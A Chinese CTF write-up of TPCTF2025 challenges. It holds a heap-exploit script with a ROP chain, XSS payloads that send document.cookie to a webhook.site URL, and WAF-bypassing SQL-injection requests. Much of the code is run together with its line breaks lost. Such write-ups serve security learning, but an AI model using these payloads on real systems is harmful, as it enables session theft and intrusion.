Pwn:
EzDB
c++堆题,add,free,edit
漏洞在于insert中,一个单字节溢出导致的堆溢出
通过tcachebin attack攻击IO_list_all,写入我们的堆地址,后续走house of cat,但system会卡栈,直接走orw读flag了
from pwn import*from struct import packimport ctypes#from LibcSearcher import *from ae64 import AE64defbug(): gdb.attach(p) pause()defs(a): p.send(a)defsa(a,b): p.sendafter(a,b)defsl(a): p.sendline(a)defsla(a,b): p.sendlineafter(a,b)defr(a): p.recv(a)#def pr(a):#print(p.recv(a))defrl(a):return p.recvuntil(a)definter(): p.interactive()defget_addr64():return u64(p.recvuntil("x7f")[-6:].ljust(8,b'x00'))defget_addr32():return u32(p.recvuntil("xf7")[-4:])defget_sb():return libc_base+libc.sym['system'],libc_base+libc.search(b"/bin/shx00").__next__()defget_hook():return libc_base+libc.sym['__malloc_hook'],libc_base+libc.sym['__free_hook']li = lambda x : print('x1b[01;38;5;214m' + x + 'x1b[0m')ll = lambda x : print('x1b[01;38;5;1m' + x + 'x1b[0m')#context(os='linux',arch='i386',log_level='debug') context(os='linux',arch='amd64',log_level='debug')libc=ELF('/root/glibc-all-in-one/libs/2.35-0ubuntu3.8_amd64/libc.so.6') elf=ELF('./pwn')p=remote('61.147.171.106',50541)#p = process('./pwn')defadd(i): sla('>>> ', b'1') sla('Index:', str(i))deffree(i): sla('>>> ',b'2') sla('Table Page Index:', str(i))definsert(i, size, content): sla('>>> ', b'3') sla('Index:', str(i)) sla('Varchar Length:', str(size)) sla('Varchar:', content) rl('Record inserted, slot id: ')return int(rl('n')) defget(i, id): sla('>>> ', b'4') sla('Index:', str(i)) sla('Slot ID: ', str(id))defedit(i, id, size, content): sla('>>> ', b'5') sla('Index:', str(i)) sla('Slot ID:', str(id)) sla('Varchar Length:', str(size)) sa('Varchar:', content)defexit(): sla('>>> ', '6')add(0)add(1)insert(0, 0x3fd,b'a'*0x3fd)for i in range(2,10): add(i)insert(0,0x520,b'hhhhhhhhhhhhhhhhh')for i in range(3,9): free(i)free(1) free(2)get(0,0)rl(b'x31'+b'x00'*7)r(0x10)heap_base = u64(p.recv(6).ljust(8,b'x00'))-0x12720li(hex(heap_base))libc_base = get_addr64()-0x21ace0li(hex(libc_base))defxor_heap(addr,key):return (addr ^ (key >> 12))_IO_list_all = libc_base+libc.sym['_IO_list_all']_IO_wfile_jumps = libc_base + 0x2170c0setcontext = libc_base+libc.sym['setcontext']system,bin_sh=get_sb()bin_sh=libc_base+0x00000000001d8678read = libc_base+libc.sym['read']fake_io_addr = heap_base+84317-0x10_IO_wfile_jumps = libc_base + libc.sym['_IO_wfile_jumps']rdi = libc_base+libc.search(asm("pop rdinret")).__next__()rsi = libc_base+libc.search(asm("pop rsinret")).__next__()rdx = libc_base+libc.search(asm("pop rdxnret")).__next__()rdx_r12= libc_base+libc.search(asm("pop rdxnpop r12nret")).__next__()rax = libc_base+libc.search(asm("pop raxnret")).__next__()ret = libc_base+libc.search(asm("ret")).__next__()syscall=libc_base+libc.search(asm("syscallnret")).__next__()open=libc_base+libc.sym['open']read=libc_base + libc.sym['read']write=libc_base + libc.sym['write']chunk3=fake_io_addr # 伪造的fake_IO结构体的地址fake_IO_FILE =p64(0)*2+p64(1)+p64(chunk3+0x8) fake_IO_FILE =fake_IO_FILE.ljust(0x60,b'x00') fake_IO_FILE +=p64(0)+p64(chunk3+0xf8)+p64(system) #rdi,rsifake_IO_FILE +=p64(heap_base) fake_IO_FILE +=p64(0x100) #rdxfake_IO_FILE =fake_IO_FILE.ljust(0x90, b'x00')fake_IO_FILE +=p64(chunk3+0x8) #_wide_data,rax1_addrfake_IO_FILE +=p64(chunk3+0xf0)+p64(rdi+1) #rspfake_IO_FILE +=p64(0)+p64(1)+p64(0)*2fake_IO_FILE +=p64(_IO_wfile_jumps+0x30) # vtable=IO_wfile_jumps+0x10fake_IO_FILE +=p64(setcontext+61)+p64(chunk3+0xc8)fake_IO_FILE +=p64(read)orw = p64(rdi) + p64(heap_base+84685) orw += p64(rsi) + p64(0)orw += p64(rax)+p64(2)+p64(syscall)orw += p64(rdi) + p64(3)orw += p64(rsi)+p64(heap_base+0x100)orw += p64(read)orw += p64(rdi) + p64(1)orw += p64(rsi)+p64(heap_base+0x100)orw += p64(write)+b'./flagx00x00'xor_1=xor_heap(heap_base+0x144d0,heap_base+0x12000)xor_2=xor_heap(_IO_list_all,heap_base+0x12000)pay=b'a'*13+fake_IO_FILE.ljust(0x3f8, b'a')+p64(0x31)+p64(xor_1) +p64(0)*4+p64(0x411)+p64(xor_2)edit(0,0,len(pay),pay)li(hex(fake_io_addr))add(13)edit(0,0,0x400,p64(fake_io_addr))#bug()sla('>>> ', '6')pause()sl(orw)inter()
Web:
Baby layout
利用textarea的优先级,上下文混淆<div id="</textarea><img src=x onerror=fetch('https://webhook.site/887535d0-c364-464d-a4d4-6fd08278a485/'+document.cookie)>"></div>可
safe layout
aria默认是true
<div data-b="b" aria-c="</textarea><img src=x onerror=fetch('https://webhook.site/887535d0-c364-464d-a4d4-6fd08278a485/'+document.cookie)>"></div>
safe layout revevnge
xx<style><{{content}}/style><{{content}}img src=x onerror=fetch('https://webhook.site/887535d0-c364-464d-a4d4-6fd08278a485/'+document.cookie)></style>
supersqli
multipart/form-data解析差异
下面那个payload已经绕过去golang的waf了。
可能有关系的文章:
https://www.elttam.com/blog/plormbing-your-django-orm/
POST /flag/ HTTP/1.1Host: 192.168.167.195Content-Length: 201Cache-Control: max-age=0Origin: http://192.168.167.195Content-Type: multipart/form-data; boundary=a;Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36 Edg/133.0.0.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Referer: http://192.168.167.195/flag/Accept-Encoding: gzip, deflate, brAccept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6Connection: close--aContent-Disposition: form-data;name="username"admin1--aContent-Disposition: form-data;name="password]"1' or '1'='1--a--Content-Disposition: form-data;name="password"1' or 1=1--
后端就改了下打印的信息, union select确实传过去了,但是不work
1' or randomblob(900000000)-- -有延迟,应该能时间盲注
POST /flag/ HTTP/1.1Host: 1.95.159.113Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36 Edg/133.0.0.0Content-Type: multipart/form-data; boundary=a;Connection: closeContent-Length: 243--aContent-Disposition: form-data;name="username"admin--aContent-Disposition: form-data;name="password]"1' or '1'='1--a--Content-Disposition: form-data;name="password"1' or randomblob(9000000000000000000000000000000000)--
没有password,那么构造password==users[0].password
POST /flag/ HTTP/1.1Host: 1.95.159.113Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36 Edg/133.0.0.0Content-Type: multipart/form-data; boundary=a;Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36 Edg/133.0.0.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Referer: http://192.168.167.195/flag/Accept-Encoding: gzip, deflate, brAccept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6Connection: closeContent-Length: 412--aContent-Disposition: form-data;name="username"admin--aContent-Disposition: form-data;name="password]"111--a--Content-Disposition: form-data;name="password"'union/**/SELECT/**/1,2,REPLACE(REPLACE('"union/**/SELECT/**/1,2,REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".")--',CHAR(34),CHAR(39)),CHAR(46),'"union/**/SELECT/**/1,2,REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".")--')--
Are you incognito?
如果不存在broswer.runtime.id则module.exports导出window的browser。注意到globalThis是window,因此可以使用dom clobberate污染browser.runtime.id
if (!(globalThis.browser && globalThis.browser.runtime && globalThis.browser.runtime.id)) {//...}else { module.exports = globalThis.browser; }
使用iframe三层污染即可:
<iframe name="browser" srcdoc=' <form id="runtime"></form> <form id="runtime" name="id"> </form> <form id="extension"></form> <form id="extension" name="inIncognitoContext"> </form>'></iframe>
exp.py:
from flask import Flask, request, jsonify import os app = Flask(__name__) @app.route('/') defindex():try: file_path = os.path.join(os.path.dirname(__file__), 'index.html') with open(file_path, 'r') as f: data = f.read() return data, 200, {'Content-Type': 'text/html'} except Exception as e: return'Internal Server Error', [email protected]('/flag', methods=['POST']) defflag():# 处 理 POST 请 求 body = request.data.decode('utf-8') response = { 'status': 'flag', 'data': body } print(response) return jsonify(response), [email protected](404) defpage_not_found(e):return'Not Found', 404if __name__ == '__main__': app.run(host='0.0.0.0', port=19006)
Reverse:
linuxpdf
打开附件 下面有个github的链接 打开之后是一个网页的linux 观察一下原本的和附件的区别 发现这里多加载了很多东西
应该是出题人加入的 多运行几次 可以发现最后的那个a9加载完毕之后 Flag出现 所以可以猜测那个a9就是主要的文件
扔010里 发现了很多base64加密的字符串 写个脚本解压保存文件
import base64 import zlib import os from pathlib import Path from typing import Dict, Union defdecode_and_inflate(encoded_data: str) -> bytes: decoded = base64.b64decode(encoded_data) return zlib.decompress(decoded, wbits=15) defsave_content( output_path: Union[str, Path], binary_data: bytes, ensure_dir: bool = True ) -> None: path = Path(output_path) if ensure_dir: path.parent.mkdir(parents=True, exist_ok=True) path.write_bytes(binary_data) defextract_files( file_map: Dict[str, str], output_root: Union[str, Path] = "") -> None:for filename, b64_data in file_map.items(): try: uncompressed = decode_and_inflate(b64_data) target_path = Path(output_root) / filename save_content(target_path, uncompressed) print(f"成功提取: {target_path}") except (ValueError, zlib.error) as e: print(f"解码/解压失败 {filename}: {str(e)}") except OSError as e: print(f"文件写入失败 {filename}: {str(e)}") if __name__ == "__main__": file_flag = { "vm_64.cfg": "eNpNTtFugzAMfO..."#太长了不放了 } extract_files(file_flag, "output_files")
随后直接找a9 然后扔ida9.0里
跟进 发现md5初始化
随后看unk_4008 发现是一堆md5值 中间用00分隔开
提取出来爆破一下 最后三个爆破的很快 结果如下
CB0FC813755A45CE5984BFBA15847C1E——>F}
DF88931E7EEFDFCC2BB80D4A4F5710FB——>DF}
D6AF7C4FEDCF2B6777DF8E83C932F883——>PDF}
发现有规律 爆破出来的字符在上一个的前面 所以可以猜到是从后往前依次爆破 直接把所有md5值提取出来 写脚本即可
import hashlib import itertools import sys chars = [chr(i) for i in range(32, 127)] defcrack_md5_chain(target_hashes): cracked = [] previous_plain = Nonefor idx, target_hash in enumerate(target_hashes): target_hash = target_hash.lower().strip() if idx == 0: for candidate in itertools.product(chars, repeat=2): plain = ''.join(candidate) if hashlib.md5(plain.encode()).hexdigest() == target_hash: print(f"[+] 成功破解第1个哈希: {plain}") previous_plain = plain cracked.append(plain) breakelse: print("[-] 无法破解第一个哈希,终止流程") returnNoneelse: # 后续哈希处理 found = Falsefor c in chars: plain = c + previous_plain if hashlib.md5(plain.encode()).hexdigest() == target_hash: print(f"[+] 成功破解第{idx + 1}个哈希: {plain}") previous_plain = plain cracked.append(plain) found = Truebreakifnot found: print(f"[-] 无法破解第{idx + 1}个哈希,终止流程") returnNonereturn cracked defmain():if len(sys.argv) != 2: print(f"用法: {sys.argv[0]} <哈希文件>") returnwith open(sys.argv[1]) as f: hashes = [line.strip() for line in f if line.strip()] ifnot hashes: print("错误:哈希文件为空") return print("开始破解MD5链...") result = crack_md5_chain(hashes) if result: print("n破解结果链:") for i, plain in enumerate(result): print(f"哈希{i + 1}: {plain}") else: print("n未能完整破解哈希链") if __name__ == "__main__": main()
TPCTF{mag1c_RISC-V_linux-PDF}
portable
ida打开附件 查看字符串 发现flag头
随后在start函数开始 往下翻函数 在最后找到输入flag的函数 sub_407F30
在下面找到一个异或 随后显示输入正确
找一下密文跟密钥 扔赛博厨子里解一下得到flag
stone-game
附件载入ida之后有明显的python特征,直接解包先,python pyinstxtractor.py stone_game 直接反编译pyc有点小问题,懒得修了,直接dis出来之后ai一把反编译了:
import osimport timeimport randomimport sysfrom game_logic import DigitalDisplayGame, MonteCarloAI# 读取 FLAG(可能是从文件或其他来源)FLAG = open('FLAG').read()classGameUI:def__init__(self, max_stones=10): self.max_stones = max_stones self.reset_game()defreset_game(self): self.game = DigitalDisplayGame(self.max_stones) self.ai = MonteCarloAI(self.game, iterations=2000) self.game.current_player = 0# 0 表示玩家defdisplay_game(self):# 清屏 os.system('clear'if os.name == 'posix'else'cls') print('nDigital Display Gamen') print('nCurrent stone count:')for i in range(7): print(f'Segment {i + 1}: {self.game.stones[i]} stones') print('nCurrent player:', 'You'if self.game.current_player == 0else'AI')defget_player_move(self):whileTrue:try: print('nEnter the number of stones to remove from each segment (space-separated, e.g.: 0 1 0 2 0 0 0):') move = list(map(int, input().split()))if len(move) != 7: print('Input must be 7 numbers!')continueif self.game.is_valid_move(move):return move print('Invalid move! Remember you cannot form cycles.')except ValueError: print('Please enter valid numbers!')except EOFError: print('Input error. Exiting...') sys.exit(1)defplay_single_game(self):whilenot self.game.is_game_over(): self.display_game()if self.game.current_player == 0: # 玩家回合 move = self.get_player_move() self.game.make_move(move)else: # AI 回合 print('nAI is thinking...') time.sleep(0.5) move = self.ai.get_best_move()if move: print('AI decides to remove: ', move) time.sleep(0.5) self.game.make_move(move)else: print('AI cannot move!')break self.display_game() winner = self.game.get_winner()if winner == 0: print('nYou won this round!')returnTrueelse: print('nAI won this round!')returnFalsedefmain(): max_stones = 100 total_rounds = 100 win_threshold = 90 print('Welcome to the Digital Display Game Challenge!') print('The player who cannot make a move loses.') print('You will always go first in each round.') print(f'You need to win at least {win_threshold} out of {total_rounds} rounds to get the flag.') print('Press Enter to start...') input() game = GameUI(max_stones) player_wins = 0for round_num in range(1, total_rounds + 1): print(f'n=== Round {round_num}/{total_rounds} ===') print(f'Current score: {player_wins}/{round_num - 1}') game.reset_game()if game.play_single_game(): player_wins += 1 print(f'Score after round {round_num}: {player_wins}/{round_num}')if round_num < total_rounds: print('Next round starting in 2 seconds...') time.sleep(2) print('n=== Challenge Complete ===') print(f'Final score: {player_wins}/{total_rounds}')if player_wins >= win_threshold: print("nCongratulations! You've beaten the AI enough times to earn the flag:") print(FLAG)else: print(f'nYou needed at least {win_threshold} wins to get the flag. Better luck next time!')if __name__ == '__main__':try: main()except KeyboardInterrupt: print('nGame terminated by user.') sys.exit(0)
就是一个经典的取石头对抗游戏,用pwntools交互打就好了,跑起来比较慢就是
EXP:
from pwn import *from functools import reduceimport random# 定义服务器地址和端口HOST = '1.95.128.179'PORT = 3271defcalculate_nim_sum(stones):"""计算所有非空段的 Nim-sum"""return reduce(lambda x, y: x ^ y, [s for s in stones if s > 0], 0)defget_nim_move(stones, tried_moves):"""生成基于 Nim-sum 的移动""" nim_sum = calculate_nim_sum(stones) move = [0] * 7 non_zero_segments = [i for i, s in enumerate(stones) if s > 0]ifnot non_zero_segments:return move # 无可移除的石头if nim_sum != 0:# 尝试使 Nim-sum 变为 0for seg in non_zero_segments: target = stones[seg] ^ nim_sumif target < stones[seg]: move[seg] = stones[seg] - targetif tuple(move) notin tried_moves:return move# 如果无法直接使 Nim-sum 为 0,或移动无效,随机移除 1 个石头 seg = random.choice(non_zero_segments) move[seg] = 1while tuple(move) in tried_moves and len(tried_moves) < len(non_zero_segments): seg = random.choice(non_zero_segments) move = [0] * 7 move[seg] = 1return movedefplay_round(p, round_num):"""在一轮比赛中进行交互,不关闭连接""" log.info(f"开始第 {round_num} 轮")# 等待轮次提示,例如 "=== Round 1/100 ===" p.recvuntil(f'=== Round {round_num}/100 ==='.encode())# 解析初始石头数量 p.recvuntil(b'Current stone count:') stones = []for i in range(7): line = p.recvline().decode().strip()whilenot line.startswith(f'Segment {i+1}:'): log.warning(f"跳过意外行: '{line}'") line = p.recvline().decode().strip() count = int(line.split(': ')[1].split(' ')[0]) stones.append(count) log.info(f"初始石头数量: {stones}")# 检查当前玩家并发送第一次移动 p.recvuntil(b'Current player: ') player = p.recvline().decode().strip()assert player == 'You', "预期玩家先手" p.recvuntil(b'Enter the number of stones to remove from each segment') tried_moves = set() move = get_nim_move(stones, tried_moves) move_str = ' '.join(map(str, move)) log.info(f"发送初始移动: {move_str}") p.sendline(move_str.encode()) tried_moves.add(tuple(move))# 主交互循环whileTrue: data = p.recvrepeat(timeout=1).decode() log.info(f"收到数据: {data}")if'You won this round!'in data: log.success(f"第 {round_num} 轮胜利!")if'Next round starting in 2 seconds...'in data: log.info("等待下一轮开始...") sleep(3) # 等待 3 秒,确保服务器发送新一轮提示returnTrueelif'AI won this round!'in data: log.warning(f"第 {round_num} 轮失败!")if'Next round starting in 2 seconds...'in data: log.info("等待下一轮开始...") sleep(3) # 等待 3 秒,确保服务器发送新一轮提示returnFalseif'Invalid move! Remember you cannot form cycles.'in data: log.warning("移动无效,重新尝试") move = get_nim_move(stones, tried_moves) move_str = ' '.join(map(str, move)) log.info(f"发送新移动: {move_str}") p.sendline(move_str.encode()) tried_moves.add(tuple(move))continueif'Current stone count:'in data: lines = data.split('n') stones = []for i in range(7, 0, -1):for line in reversed(lines):if line.startswith(f'Segment {i}:'): count = int(line.split(': ')[1].split(' ')[0]) stones.insert(0, count)break log.info(f"更新石头数量: {stones}") tried_moves.clear()if'AI decides to remove:'in data:for line in data.split('n'):if'AI decides to remove:'in line: ai_move = line.split('AI decides to remove: ')[1].strip() log.info(f"AI 移动: {ai_move}")breakif'Current player: You'in data and'Enter the number of stones to remove from each segment'in data: move = get_nim_move(stones, tried_moves) move_str = ' '.join(map(str, move)) log.info(f"发送移动: {move_str}") p.sendline(move_str.encode()) tried_moves.add(tuple(move))# 主逻辑:使用单一连接运行所有轮次p = remote(HOST, PORT)# 跳过初始欢迎信息p.recvuntil(b'Press Enter to start...')p.sendline(b'')player_wins = 0for round_num in range(1, 101):if play_round(p, round_num): player_wins += 1 log.info(f"当前得分: {player_wins}/{round_num}")# 在所有轮次结束后,接收服务器的最终输出log.info("所有轮次完成,接收服务器最终输出...")final_data = p.recvrepeat(timeout=2).decode() # 等待 2 秒,确保接收完整输出log.info(f"服务器最终输出: {final_data}")# 检查是否获得 Flagif'Congratulations!'in final_data: log.success("成功获得 Flag!")for line in final_data.split('n'):if line.strip() andnot line.startswith('Final score') andnot line.startswith('=== Challenge Complete ===') andnot line.startswith('Congratulations'): log.success(f"Flag: {line.strip()}")elif'Better luck next time!'in final_data: log.error("未达到胜利阈值,未获得 Flag")p.close() # 接收完输出后关闭连接log.info(f"最终得分: {player_wins}/100")if player_wins >= 90: log.success("本地统计:赢得足够轮次,可能获得 Flag!")else: log.error(f"本地统计:未达到 90/100 的胜利要求,得分: {player_wins}/100")#TPCTF{M0nt3_C4rl0_S34rch_1s_4w3s0m3_f0r_g4m3s}
Misc:
challenge
谷歌搜索:intext:TPCTF inurl:https://ctftime.org/team
Raenil
https://merri.cx/qrazybox/
根据各个方向手动去填,一些不确定的后面可以通过纠错码恢复
扫出来得到flag
TPCTF{LIHHHHAWJ2123089hj091j2s+++__+SO_FUN!!!}
原文始发于微信公众号(ChaMd5安全团队):TPCTF2025 writeup by Mini-Venom
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论